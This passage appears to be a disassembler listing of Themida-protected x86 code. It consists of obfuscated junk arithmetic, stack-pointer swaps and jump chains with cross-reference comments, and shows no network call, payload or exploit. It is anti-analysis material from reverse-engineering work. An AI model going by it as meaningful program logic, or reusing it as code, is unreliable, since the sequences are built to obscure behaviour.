push dword ptr [esp]
pop esi
add esp, 4
and edx, 70D01FCh
sub edx, 70D004Ch
add esi, edx
pop edx
push edx
mov edx, 4
sub esi, edx
pop edx
jmp loc_5AA8C0
; ---------------------------------------------------------------------------
loc_59C27D: ; CODE XREF: Themida_:005A4898j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push small word ptr [eax]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59C292: ; CODE XREF: Themida_:00597B3Fj
mov [esp], eax
push ecx
push ebx
mov bl, 27h
shr bl, 7
jmp loc_5A52C5
; ---------------------------------------------------------------------------
loc_59C2A1: ; CODE XREF: Themida_:005A8960j
xor ebx, 36ED3388h
add ebx, 58B054F7h
jmp loc_59B74E
; ---------------------------------------------------------------------------
loc_59C2B2: ; CODE XREF: Themida_:0059C9D4j
pop dword ptr [edi+eax*4]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59C2BA: ; CODE XREF: Themida_:0059EC87j
push 29E0h
mov [esp], ebx
jmp loc_5A22E0
; ---------------------------------------------------------------------------
loc_59C2C7: ; CODE XREF: Themida_:005A95E3j
push 0F3Bh
mov [esp], edi
mov edi, 751522B9h
not edi
xor edi, 2D960EEFh
add edi, 0D65D5DC6h
add eax, edi
push dword ptr [esp]
pop edi
jmp loc_5A19CD
; ---------------------------------------------------------------------------
loc_59C2ED: ; CODE XREF: Themida_:0059DC80j
mov eax, 64D426EFh
mov ecx, eax
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
add esi, ecx
pop ecx
push edx
jmp loc_5980B0
; ---------------------------------------------------------------------------
loc_59C313: ; CODE XREF: Themida_:005A2366j
mov eax, 4
sub esi, eax
pop eax
xchg esi, [esp]
pop esp
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov eax, [esp]
jmp loc_59EA93
; ---------------------------------------------------------------------------
loc_59C337: ; CODE XREF: Themida_:0059BD97j
push 4191h
jmp loc_5A5E5A
; ---------------------------------------------------------------------------
loc_59C341: ; CODE XREF: Themida_:005A8160j
mov esi, [esp]
add esp, 4
add edi, 0D314E2BAh
push 316Ch
mov [esp], edi
jmp loc_597819
; ---------------------------------------------------------------------------
loc_59C35A: ; CODE XREF: Themida_:005A29F3j
push 6F73h
jmp loc_59F0F7
; ---------------------------------------------------------------------------
loc_59C364: ; CODE XREF: Themida_:0059A010j
pop esi
push edx
mov edx, 11CC16A2h
add edx, 1
add edx, 34B609E0h
or edx, 73EE7E86h
add edx, 8AC57A78h
jmp loc_59ACF4
; ---------------------------------------------------------------------------
loc_59C385: ; CODE XREF: Themida_:005A3B3Bj
add esi, ebp
mov ebp, [esp]
jmp loc_59D17D
; ---------------------------------------------------------------------------
loc_59C38F: ; CODE XREF: Themida_:005A6573j
push dword ptr [esp]
jmp loc_5960CF
; ---------------------------------------------------------------------------
loc_59C397: ; CODE XREF: Themida_:005A8723j
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], edi
jmp loc_597BCB
; ---------------------------------------------------------------------------
loc_59C3AF: ; CODE XREF: Themida_:005A6C2Bj
xor ebx, esi
pop esi
push ebx
mov eax, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
jmp loc_59849A
; ---------------------------------------------------------------------------
loc_59C3C7: ; CODE XREF: Themida_:005A6E40j
xchg eax, ebx
xchg ebx, [esp]
mov ebp, [esp]
jmp loc_59909E
; ---------------------------------------------------------------------------
loc_59C3D3: ; CODE XREF: Themida_:005983B6j
neg esi
xor esi, 253D35B5h
xor esi, 522541F9h
mov edi, esi
pop esi
add edi, 800B9237h
jmp loc_5A0B81
; ---------------------------------------------------------------------------
loc_59C3EF: ; CODE XREF: Themida_:0059F11Bj
pop ecx
push eax
mov ah, 3Fh
sub ah, 61h
shr ah, 3
jmp loc_5A0A53
; ---------------------------------------------------------------------------
loc_59C3FE: ; CODE XREF: Themida_:0059ABD1j
sub esp, 4
mov [esp], ebx
push 495Ch
mov [esp], ebp
mov ebp, 70923586h
jmp loc_596CC6
; ---------------------------------------------------------------------------
loc_59C416: ; CODE XREF: Themida_:0059F763j
add eax, edi
mov ecx, [eax]
push dword ptr [esp]
jmp loc_59777F
; ---------------------------------------------------------------------------
loc_59C422: ; CODE XREF: Themida_:0059BFEDj
sub esi, ecx
sub esi, 42F87C32h
jmp loc_59F8A3
; ---------------------------------------------------------------------------
loc_59C42F: ; CODE XREF: Themida_:0059F211j
or ebx, esi
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push 2FA9h
mov [esp], eax
mov eax, 40940C85h
jmp loc_59C092
; ---------------------------------------------------------------------------
loc_59C452: ; CODE XREF: Themida_:0059775Cj
mov ebp, [esp]
jmp loc_5A8069
; ---------------------------------------------------------------------------
loc_59C45A: ; CODE XREF: Themida_:0059E749j
push esp
pop esi
push ecx
mov ecx, 142F3E28h
or ecx, 1DC73FFFh
push esi
push ebp
mov ebp, 5EEF6F1Dh
inc ebp
sub ebp, 1
add ebp, 0FB41D2D1h
mov esi, ebp
pop ebp
or ecx, esi
pop esi
push eax
mov eax, 741C3684h
add eax, 1
inc eax
jmp loc_5AA5EB
; ---------------------------------------------------------------------------
loc_59C493: ; CODE XREF: Themida_:005A9382j
sub esp, 4
mov [esp], ebp
jmp loc_599A32
; ---------------------------------------------------------------------------
loc_59C4A1: ; CODE XREF: Themida_:005AA72Ej
push ebx
push esi
mov esi, 72D33ABEh
sub [esp+4], esi
jmp loc_59CF4F
; ---------------------------------------------------------------------------
loc_59C4B1: ; CODE XREF: Themida_:0059FDD8j
push ebx
mov bl, cl
jmp loc_5A110B
; ---------------------------------------------------------------------------
lodsw
push 3B51h
mov [esp], ebp
jmp loc_5AB385
; ---------------------------------------------------------------------------
loc_59C4C8: ; CODE XREF: Themida_:0059ECBAj
xchg edi, [esp]
pop esp
push 1EE6h
mov [esp], edx
push esi
mov esi, 73846164h
or esi, 67A21DAFh
jmp loc_5A9475
; ---------------------------------------------------------------------------
mov ax, [esp]
push 255Dh
mov [esp], edi
push esp
pop edi
push 4691h
mov [esp], esi
mov esi, 4
jmp loc_59E04D
; ---------------------------------------------------------------------------
loc_59C505: ; CODE XREF: Themida_:005A74EFj
add esp, 4
add edx, 9661660h
add edx, edi
sub edx, 9661660h
push dword ptr [esp]
jmp loc_597528
; ---------------------------------------------------------------------------
loc_59C51E: ; CODE XREF: Themida_:0059726Dj
mov edx, 0AC3CFC2Ch
jmp loc_5A14F6
; ---------------------------------------------------------------------------
loc_59C528: ; CODE XREF: Themida_:0059B749j
add edx, 4
xchg edx, [esp]
pop esp
push ebp
jmp loc_597D0E
; ---------------------------------------------------------------------------
loc_59C538: ; CODE XREF: Themida_:005A5A70j
add edx, 4
xchg edx, [esp]
mov esp, [esp]
jmp loc_5A26C8
; ---------------------------------------------------------------------------
loc_59C546: ; CODE XREF: Themida_:005A1E27j
pop ebp
sub dword ptr [esp+4], 5A2062E7h
add [esp+4], ebx
add dword ptr [esp+4], 5A2062E7h
jmp loc_59FC3A
; ---------------------------------------------------------------------------
loc_59C560: ; CODE XREF: Themida_:0059DA7Aj
push 7FDDh
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ecx
mov ecx, 628B47B5h
sub ecx, 628B47B1h
jmp loc_598708
; ---------------------------------------------------------------------------
loc_59C57E: ; CODE XREF: Themida_:005A25CBj
pop ebx
push ecx
neg byte ptr [esp]
pop ecx
add cl, 0CEh
push bx
push eax
mov al, 6Fh
shl al, 8
sub al, 1
jmp loc_5A14D0
; ---------------------------------------------------------------------------
loc_59C596: ; CODE XREF: Themida_:005A38DAj
mov esp, [esp]
push eax
push edi
mov edi, 0AEE0B36h
mov eax, edi
pop edi
push esi
mov esi, 3CED553Ch
dec esi
xor esi, 648E66FCh
xor eax, esi
mov esi, [esp]
add esp, 4
and eax, 38410524h
push edx
mov edx, 2010847h
neg edx
add edx, 53927457h
jmp loc_5A954C
; ---------------------------------------------------------------------------
loc_59C5D3: ; CODE XREF: Themida_:0059E700j
not esi
add esi, 17CE24E4h
sub esi, 0C7CD06D2h
add ecx, esi
pop esi
jmp loc_5AB06A
; ---------------------------------------------------------------------------
loc_59C5E9: ; CODE XREF: Themida_:0059717Dj
push eax
jmp loc_5A571F
; ---------------------------------------------------------------------------
loc_59C5EF: ; CODE XREF: Themida_:005A6A8Cj
xor ebx, edx
pop edx
push edx
push esi
push edi
mov edi, 67CE1DB6h
mov esi, edi
pop edi
mov edx, esi
jmp loc_5A5DD3
; ---------------------------------------------------------------------------
loc_59C604: ; CODE XREF: Themida_:0059CF95j
mov [esp], eax
push 74CCh
jmp loc_59DA4E
; ---------------------------------------------------------------------------
loc_59C611: ; CODE XREF: Themida_:00598A0Ej
push ecx
mov ecx, 30A41215h
mov eax, 21667A94h
xor eax, ecx
pop ecx
or eax, 396B4475h
shl eax, 5
add eax, 1
xor eax, 608BFCB0h
jmp loc_59ABD6
; ---------------------------------------------------------------------------
loc_59C634: ; CODE XREF: Themida_:005A839Aj
pop eax
add esp, 4
jmp loc_59CB78
; ---------------------------------------------------------------------------
loc_59C63D: ; CODE XREF: Themida_:0059DC61j
mov edx, 4
sub ebp, 1ECE43C0h
add ebp, edx
jmp loc_5A00BE
; ---------------------------------------------------------------------------
loc_59C64F: ; CODE XREF: Themida_:00596CD3j
add ebx, 35EF2AE5h
mov ebp, [esp]
jmp loc_5964C3
; ---------------------------------------------------------------------------
loc_59C65D: ; CODE XREF: Themida_:0059E174j
mov [esp], dx
mov dl, 44h
add dl, 43h
jmp loc_59EB3B
; ---------------------------------------------------------------------------
loc_59C66B: ; CODE XREF: Themida_:005A4A82j
sub esi, ecx
mov ecx, [esp]
push edx
mov edx, esp
push 300Ah
mov [esp], ebp
mov ebp, 35E40B89h
push ecx
jmp loc_5A8A8A
; ---------------------------------------------------------------------------
loc_59C686: ; CODE XREF: Themida_:00597FCEj
xor bl, 0ADh
add dh, bl
pop ebx
shr dh, 5
sub dh, 0Bh
mov cl, dh
pop edx
jmp loc_5A0BEE
; ---------------------------------------------------------------------------
loc_59C69A: ; CODE XREF: Themida_:005A2CA2j
inc esi
shl esi, 1
sub esp, 4
mov [esp], edi
push edx
push 19DB65A0h
mov edx, [esp]
add esp, 4
neg edx
xor edx, 0E702EDCEh
mov edi, edx
mov edx, [esp]
add esp, 4
add esi, edi
pop edi
mov ebx, esi
push dword ptr [esp]
pop esi
add esp, 4
add ebx, edi
mov dword ptr [ebx], 0
jmp loc_5A748B
; ---------------------------------------------------------------------------
loc_59C6DE: ; CODE XREF: Themida_:005A00FFj
push dword ptr [esp]
pop eax
push esi
push esp
jmp loc_59B603
; ---------------------------------------------------------------------------
loc_59C6E9: ; CODE XREF: Themida_:0059B976j
sub edi, 0C0985B7Ah
add ebx, edi
pop edi
add ebx, edi
sub ebx, 8865208h
jmp loc_5A801B
; ---------------------------------------------------------------------------
mov cx, [esp]
push 26E0h
mov [esp], ebx
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_5A16A1
; ---------------------------------------------------------------------------
loc_59C71A: ; CODE XREF: Themida_:0059CB2Fj
sub bx, 1F34h
sub bx, ax
push dx
jmp loc_5978AB
; ---------------------------------------------------------------------------
loc_59C729: ; CODE XREF: Themida_:005A2D2Bj
mov eax, 4
mov ebp, eax
pop eax
add eax, ebp
mov ebp, [esp]
push 7883h
jmp loc_5A6AF1
; ---------------------------------------------------------------------------
loc_59C740: ; CODE XREF: Themida_:0059B94Bj
mov ebx, [esp]
add esp, 4
jmp loc_599370
; ---------------------------------------------------------------------------
loc_59C74E: ; CODE XREF: Themida_:0059FB75j
pop ebp
pop ebx
sub eax, ebx
jmp loc_5A4062
; ---------------------------------------------------------------------------
loc_59C757: ; CODE XREF: Themida_:005A7628j
mov [esp], edi
push eax
mov eax, 37945079h
mov edi, eax
pop eax
jmp loc_5A5A8E
; ---------------------------------------------------------------------------
loc_59C768: ; CODE XREF: Themida_:005A5266j
sub edx, 2230FEh
jmp loc_59D1DD
; ---------------------------------------------------------------------------
loc_59C773: ; CODE XREF: Themida_:0059DB1Bj
push 1542h
mov [esp], edx
mov edx, 15904F01h
sub edx, 69BD75C5h
xor edx, 1EC906F7h
add edx, 5D808A39h
add edi, edx
pop edx
jmp loc_5A60E8
; ---------------------------------------------------------------------------
loc_59C79A: ; CODE XREF: Themida_:0059F0C8j
pop ebx
push edx
mov edx, 4
jmp loc_5A8A0C
; ---------------------------------------------------------------------------
loc_59C7A6: ; CODE XREF: Themida_:005A5C0Aj
pop ecx
push dword ptr [esp]
pop ebx
push 6F67h
mov [esp], esi
mov esi, esp
push eax
mov eax, 2D5C1711h
add eax, 0EDA51C0h
push ecx
jmp loc_5A37A2
; ---------------------------------------------------------------------------
loc_59C7C6: ; CODE XREF: Themida_:005A2A9Cj
mov [esp], edx
jmp loc_596B94
; ---------------------------------------------------------------------------
loc_59C7CE: ; CODE XREF: Themida_:005AB041j
push eax
mov eax, 6743C15h
sub eax, 8AC22591h
or ebp, eax
jmp loc_59E7A4
; ---------------------------------------------------------------------------
loc_59C7E0: ; CODE XREF: Themida_:005A28D6j
mov edx, 4
add edi, edx
pop edx
jmp loc_5AA322
; ---------------------------------------------------------------------------
loc_59C7ED: ; CODE XREF: Themida_:00599AE6j
push dword ptr [esp]
pop esi
jmp loc_5A0BB1
; ---------------------------------------------------------------------------
loc_59C7F6: ; CODE XREF: Themida_:0059FC93j
mov eax, 7DC27D52h
dec eax
and eax, 78B11592h
inc eax
jmp loc_5A7561
; ---------------------------------------------------------------------------
loc_59C807: ; CODE XREF: Themida_:005A9AD3j
pop edx
add ebx, eax
jmp loc_59E2A4
; ---------------------------------------------------------------------------
loc_59C80F: ; CODE XREF: Themida_:005A4955j
add edx, 4
sub edx, 4
xor edx, [esp]
jmp loc_5A282E
; ---------------------------------------------------------------------------
loc_59C820: ; CODE XREF: Themida_:0059FF10j
mov ebp, esp
jmp loc_5A135D
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A94F9
; ---------------------------------------------------------------------------
loc_59C830: ; CODE XREF: Themida_:00597EF1j
sub esp, 4
jmp loc_5A8E4C
; ---------------------------------------------------------------------------
loc_59C838: ; CODE XREF: Themida_:0059C937j
shl edx, 3
add edx, 6F76410Ch
inc edx
xor edx, 68A44044h
push ecx
push edx
mov edx, 57A75B4Dh
shr edx, 6
jmp loc_5A69F1
; ---------------------------------------------------------------------------
loc_59C857: ; CODE XREF: Themida_:00598A51j
xor eax, 8E2E3DE9h
jmp loc_595EB3
; ---------------------------------------------------------------------------
loc_59C861: ; CODE XREF: Themida_:005995ADj
mov eax, 693F72EAh
neg eax
jmp loc_5A7BE7
; ---------------------------------------------------------------------------
loc_59C86D: ; CODE XREF: Themida_:005A600Cj
add edx, 4
push ebp
mov ebp, 689E2697h
sub esp, 4
jmp loc_5A142C
; ---------------------------------------------------------------------------
loc_59C884: ; CODE XREF: Themida_:0059D97Fj
mov [esp], esp
jmp loc_59950A
; ---------------------------------------------------------------------------
loc_59C88C: ; CODE XREF: Themida_:00595F78j
push ecx
mov ecx, 5B8A7EF4h
neg ecx
jmp loc_5A03BF
; ---------------------------------------------------------------------------
loc_59C899: ; CODE XREF: Themida_:005A35FAj
pop edx
jmp loc_598C4C
; ---------------------------------------------------------------------------
loc_59C89F: ; CODE XREF: Themida_:005A9B56j
dec edx
shl edx, 4
jmp loc_5A0312
; ---------------------------------------------------------------------------
loc_59C8A8: ; CODE XREF: Themida_:00599EA1j
sub eax, edi
pop edi
xor edi, eax
pop eax
push 3133h
mov [esp], edx
mov edx, 6D1A44F7h
neg edx
not edx
push esi
mov esi, 17FA5626h
xor edx, esi
jmp loc_59DB12
; ---------------------------------------------------------------------------
loc_59C8CC: ; CODE XREF: Themida_:005A96C8j
pop esi
jmp loc_5A0B66
; ---------------------------------------------------------------------------
loc_59C8D2: ; CODE XREF: Themida_:005A4069j
xor ecx, 6F4F5C16h
jmp loc_5A1594
; ---------------------------------------------------------------------------
loc_59C8DD: ; CODE XREF: Themida_:0059800Dj
shr edx, 7
push eax
mov eax, 0CC1A1Dh
sub edx, eax
pop eax
jmp loc_59D8AA
; ---------------------------------------------------------------------------
loc_59C8EE: ; CODE XREF: Themida_:005A6CB8j
mov esp, [esp]
mov [esp], edx
push 43F8h
mov [esp], edi
mov edi, 4ECD0456h
xor edi, 3C7B6180h
neg edi
not edi
jmp loc_5A1C52
; ---------------------------------------------------------------------------
loc_59C910: ; CODE XREF: Themida_:005A3D4Fj
push dword ptr [esp]
pop ecx
add esp, 4
add esp, 4
sub esp, 4
mov [esp], edx
push ecx
mov ecx, 37895851h
mov edx, 371B0933h
add edx, ecx
pop ecx
add edx, 5815768Eh
jmp loc_59C838
; ---------------------------------------------------------------------------
loc_59C93C: ; CODE XREF: Themida_:005969F8j
pop edx
add esp, 4
push esi
mov esi, esp
sub esp, 4
mov [esp], ebx
jmp loc_5A7770
; ---------------------------------------------------------------------------
loc_59C951: ; CODE XREF: Themida_:005A7BA1j
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
jmp loc_5A57F4
; ---------------------------------------------------------------------------
loc_59C960: ; CODE XREF: Themida_:0059FF46j
push esi
push dword ptr [esp+4]
jmp loc_5A1E32
; ---------------------------------------------------------------------------
push dword ptr [edi+2Ch]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59C972: ; CODE XREF: Themida_:005963C9j
push edi
push esp
pop edi
add edi, 4
jmp loc_5A0273
; ---------------------------------------------------------------------------
loc_59C980: ; CODE XREF: Themida_:0059C9ECj
mov ebp, 4F923E9Ch
push ebp
push dword ptr [esp]
pop ebx
push eax
push esp
jmp loc_59799B
; ---------------------------------------------------------------------------
loc_59C991: ; CODE XREF: Themida_:005AAD04j
pop ecx
jmp loc_5A6578
; ---------------------------------------------------------------------------
loc_59C997: ; CODE XREF: Themida_:0059B6BAj
pop ecx
jmp loc_59CC43
; ---------------------------------------------------------------------------
loc_59C99D: ; CODE XREF: Themida_:00597B90j
add ecx, 44E866E6h
pop ebx
push 1530h
mov [esp], ebp
push ebx
mov ebx, 13460EA4h
jmp loc_5A46F5
; ---------------------------------------------------------------------------
loc_59C9B7: ; CODE XREF: Themida_:0059F61Dj
pop edx
add edx, 4
push edi
mov edi, 4
jmp loc_5A9425
; ---------------------------------------------------------------------------
loc_59C9C9: ; CODE XREF: Themida_:005A77A4j
sub ebp, esi
pop esi
jmp loc_597914
; ---------------------------------------------------------------------------
loc_59C9D1: ; CODE XREF: Themida_:005A0AC2j
movzx eax, al
jmp loc_59C2B2
; ---------------------------------------------------------------------------
push dword ptr [edi+3Ch]
push 31F2h
mov [esp], ebx
push 0A8h
mov [esp], ebp
jmp loc_59C980
; ---------------------------------------------------------------------------
loc_59C9F1: ; CODE XREF: Themida_:0059EF02j
add ah, 0F0h
shr ah, 7
push cx
jmp loc_59E117
; ---------------------------------------------------------------------------
loc_59C9FE: ; CODE XREF: Themida_:005AA977j
push 29F35A3Dh
push dword ptr [esp]
mov ebx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_59DAC4
; ---------------------------------------------------------------------------
loc_59CA17: ; CODE XREF: Themida_:005A4550j
add edi, 4
add edi, 2
xor edi, [esp]
xor [esp], edi
jmp loc_59CCCB
; ---------------------------------------------------------------------------
loc_59CA2E: ; CODE XREF: Themida_:00599F76j
pop dword ptr [esp]
push edx
push esi
push ebx
push edx
jmp loc_59F9EE
; ---------------------------------------------------------------------------
loc_59CA3A: ; CODE XREF: Themida_:00599FEEj
mov ecx, 2
add esi, ecx
jmp loc_59B388
; ---------------------------------------------------------------------------
loc_59CA46: ; CODE XREF: Themida_:005A6B6Bj
mov edi, 51A94FD2h
sub edi, 23BE49AEh
jmp loc_597E6B
; ---------------------------------------------------------------------------
loc_59CA56: ; CODE XREF: Themida_:00598792j
sub dh, al
pop eax
jmp loc_5A2490
; ---------------------------------------------------------------------------
loc_59CA5E: ; CODE XREF: Themida_:0059CB20j
add ebx, edx
push 23B7h
jmp loc_59AB57
; ---------------------------------------------------------------------------
loc_59CA6A: ; CODE XREF: Themida_:005A43FDj
mov ecx, 6BAA0A0Fh
push ebp
mov ebp, 319364E0h
dec ebp
sub ebp, 2B554CA8h
and ebp, 763A0F52h
shr ebp, 8
xor ebp, 69D8747Eh
push esi
mov esi, 45CD259Eh
push edi
mov edi, 2B7E44A9h
add edi, 68CC3D4Ah
xor edi, 435D756Fh
sub edi, 23E33228h
and edi, 2B385F62h
jmp loc_5A775C
; ---------------------------------------------------------------------------
loc_59CAB4: ; CODE XREF: Themida_:005A3929j
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
btc [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59CACB: ; CODE XREF: Themida_:005985DBj
mov eax, 4
add ebx, eax
jmp loc_59F6A5
; ---------------------------------------------------------------------------
loc_59CAD7: ; CODE XREF: Themida_:005A0553j
push esi
push dword ptr [esp+4]
mov esi, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push eax
mov eax, esp
jmp loc_5AA660
; ---------------------------------------------------------------------------
loc_59CAF3: ; CODE XREF: Themida_:0059FA73j
add edi, ecx
mov ecx, [esp]
add esp, 4
add edi, eax
sub edi, 57917B96h
sub edi, 244C4BECh
pop eax
jmp loc_599749
; ---------------------------------------------------------------------------
loc_59CB12: ; CODE XREF: Themida_:0059A6D4j
xor esi, edx
pop edx
shl esi, 1
jmp loc_59BED6
; ---------------------------------------------------------------------------
loc_59CB1C: ; CODE XREF: Themida_:005AACE9j
pop edx
sub ebx, eax
pop eax
jmp loc_59CA5E
; ---------------------------------------------------------------------------
loc_59CB25: ; CODE XREF: Themida_:00599046j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59CB2A: ; CODE XREF: Themida_:005A3C37j
add bx, 7994h
jmp loc_59C71A
; ---------------------------------------------------------------------------
loc_59CB34: ; CODE XREF: Themida_:0059A47Bj
mov ebx, 4
add edx, ebx
jmp loc_5A7F8B
; ---------------------------------------------------------------------------
loc_59CB40: ; CODE XREF: Themida_:005A30AEj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_59CB45: ; CODE XREF: Themida_:00598F55j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebx
mov ebx, 4
sub ebp, ebx
pop ebx
jmp loc_598710
; ---------------------------------------------------------------------------
loc_59CB65: ; CODE XREF: Themida_:005A29B5j
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_5A8E2F
; ---------------------------------------------------------------------------
loc_59CB71: ; CODE XREF: Themida_:0059B15Cj
xor ebp, edi
jmp loc_5A652E
; ---------------------------------------------------------------------------
loc_59CB78: ; CODE XREF: Themida_:0059C638j
add eax, 4
sub esp, 4
mov [esp], ebx
jmp loc_5A6A65
; ---------------------------------------------------------------------------
loc_59CB88: ; CODE XREF: Themida_:00597F36j
add esp, 2
xor di, 68A0h
push di
add word ptr [esp], 506Ch
jmp loc_5A8B0E
; ---------------------------------------------------------------------------
loc_59CB9D: ; CODE XREF: Themida_:005A0FCEj
push bx
mov bl, 0D5h
and ah, bl
pop bx
jmp loc_59F411
; ---------------------------------------------------------------------------
loc_59CBAA: ; CODE XREF: Themida_:005A3CE4j
add esi, 4
xchg esi, [esp]
jmp loc_5A6DDC
; ---------------------------------------------------------------------------
loc_59CBB5: ; CODE XREF: Themida_:005A1EE3j
push esi
sub esp, 4
mov [esp], ebx
push eax
push 21220DE7h
pop eax
add eax, 2B494C48h
mov ebx, eax
pop eax
sub ebx, 632D5412h
jmp loc_59B4AB
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A973D
; ---------------------------------------------------------------------------
loc_59CBDF: ; CODE XREF: Themida_:005A6D51j
pop ecx
push edx
mov edx, 4
jmp loc_5A0E80
; ---------------------------------------------------------------------------
loc_59CBEB: ; CODE XREF: Themida_:005A322Cj
push 2514h
jmp loc_5A45CF
; ---------------------------------------------------------------------------
loc_59CBF5: ; CODE XREF: Themida_:0059E750j
mov ecx, [esp]
add esp, 4
add edx, 1
jmp loc_5A0768
; ---------------------------------------------------------------------------
loc_59CC06: ; CODE XREF: Themida_:0059843Cj
sub esi, 5FDA1429h
sub esi, edi
push 14DFh
jmp loc_5A3818
; ---------------------------------------------------------------------------
loc_59CC18: ; CODE XREF: Themida_:005A70D7j
push ebx
mov ebx, 17617C6Dh
or eax, ebx
pop ebx
push edx
jmp loc_5A2486
; ---------------------------------------------------------------------------
loc_59CC27: ; CODE XREF: Themida_:0059B3F5j
mov ecx, 14721B2Dh
sub ecx, 986EDC45h
add eax, 389112D5h
jmp loc_5A0617
; ---------------------------------------------------------------------------
loc_59CC3C: ; CODE XREF: Themida_:005A06EAj
sub ebx, eax
jmp loc_59A602
; ---------------------------------------------------------------------------
loc_59CC43: ; CODE XREF: Themida_:0059C998j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5A312A
; ---------------------------------------------------------------------------
loc_59CC52: ; CODE XREF: Themida_:005A0CD0j
sub edi, 2C407E1Dh
sub edi, 12333BDFh
add edi, eax
add edi, 12333BDFh
add edi, 2C407E1Dh
jmp loc_596FBC
; ---------------------------------------------------------------------------
loc_59CC71: ; CODE XREF: Themida_:005A4645j
add edx, 703C6397h
xor edx, 92059FFFh
xor ebp, edx
mov edx, [esp]
jmp loc_5A667D
; ---------------------------------------------------------------------------
loc_59CC87: ; CODE XREF: Themida_:005A83BBj
add esi, ecx
mov ecx, [esp]
add esp, 4
sub esi, 4
xchg esi, [esp]
jmp loc_5A47C5
; ---------------------------------------------------------------------------
loc_59CC9D: ; CODE XREF: Themida_:005A9679j
pop ebx
add esi, 503DB1Bh
mov eax, esi
pop esi
inc eax
jmp loc_59E2E9
; ---------------------------------------------------------------------------
loc_59CCAD: ; CODE XREF: Themida_:005A8381j
mov [esp], esi
jmp loc_59FED4
; ---------------------------------------------------------------------------
loc_59CCB5: ; CODE XREF: Themida_:005A06F9j
and bl, 6Fh
push edx
jmp loc_5986D6
; ---------------------------------------------------------------------------
loc_59CCBE: ; CODE XREF: Themida_:005991ECj
pop esp
mov [esp], ebx
push esp
mov ebx, [esp]
jmp loc_59DFAD
; ---------------------------------------------------------------------------
loc_59CCCB: ; CODE XREF: Themida_:0059CA29j
xor edi, [esp]
pop esp
xor ax, 4C4h
jmp loc_5A54D3
; ---------------------------------------------------------------------------
loc_59CCD8: ; CODE XREF: Themida_:005A1352j
mov [esp], ecx
mov ch, 0Dh
jmp loc_59DF86
; ---------------------------------------------------------------------------
loc_59CCE2: ; CODE XREF: Themida_:00596E75j
add esp, 4
push 4C5Dh
mov [esp], ecx
push ebx
push 2CC90520h
pop ebx
add ebx, 0CC5670Dh
push esi
jmp loc_5A62C3
; ---------------------------------------------------------------------------
loc_59CD03: ; CODE XREF: Themida_:0059B830j
add eax, edx
pop edx
jmp loc_5A9772
; ---------------------------------------------------------------------------
loc_59CD0B: ; CODE XREF: Themida_:005999BEj
xor edx, 3FBF6FADh
jmp loc_59D82D
; ---------------------------------------------------------------------------
loc_59CD16: ; CODE XREF: Themida_:005A446Bj
add edx, 32109D3Eh
push eax
mov eax, edx
push eax
jmp loc_5A4F99
; ---------------------------------------------------------------------------
loc_59CD25: ; CODE XREF: Themida_:005AB19Fj
not ecx
not ecx
xor ecx, 51E61004h
add eax, ecx
pop ecx
push edx
mov edx, 4
sub eax, edx
jmp loc_5A1AFD
; ---------------------------------------------------------------------------
loc_59CD3F: ; CODE XREF: Themida_:005A31B5j
xchg edi, [esp]
pop edx
xor edx, 0DBE7B833h
push ebx
push ebp
mov ebp, 913126Ch
not ebp
jmp loc_5A3EFD
; ---------------------------------------------------------------------------
loc_59CD57: ; CODE XREF: Themida_:0059D51Fj
neg edi
not edi
add edi, 1
jmp loc_5A2250
; ---------------------------------------------------------------------------
loc_59CD66: ; CODE XREF: Themida_:0059DBF4j
push dword ptr [esp+4]
jmp loc_599F39
; ---------------------------------------------------------------------------
loc_59CD6F: ; CODE XREF: Themida_:005A16EBj
mov edx, esp
jmp loc_5A0B93
; ---------------------------------------------------------------------------
loc_59CD76: ; CODE XREF: Themida_:005A6E33j
push eax
jmp loc_59A9BF
; ---------------------------------------------------------------------------
loc_59CD7C: ; CODE XREF: Themida_:005A4343j
not ebp
xor ebp, 800FECBEh
sub edx, ebp
pop ebp
add ebx, edx
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 4
sub ebx, esi
mov esi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_5A9315
; ---------------------------------------------------------------------------
loc_59CDB3: ; CODE XREF: Themida_:0059FDE2j
mov edi, 4
mov ebp, edi
pop edi
sub ecx, 5BFD2866h
add ecx, ebp
add ecx, 5BFD2866h
push dword ptr [esp]
jmp loc_5A6C54
; ---------------------------------------------------------------------------
loc_59CDD1: ; CODE XREF: Themida_:005A76DEj
or edx, ecx
jmp loc_5A712E
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5A9C4E
; ---------------------------------------------------------------------------
loc_59CDEF: ; CODE XREF: Themida_:0059750Aj
and ebx, 744A6F6Eh
jmp loc_59BE93
; ---------------------------------------------------------------------------
loc_59CDFA: ; CODE XREF: Themida_:005A37BFj
mov edi, esp
push 2199h
jmp loc_596019
; ---------------------------------------------------------------------------
loc_59CE06: ; CODE XREF: Themida_:005A23FBj
mov ebx, [esp]
add esp, 4
jmp loc_5A914C
; ---------------------------------------------------------------------------
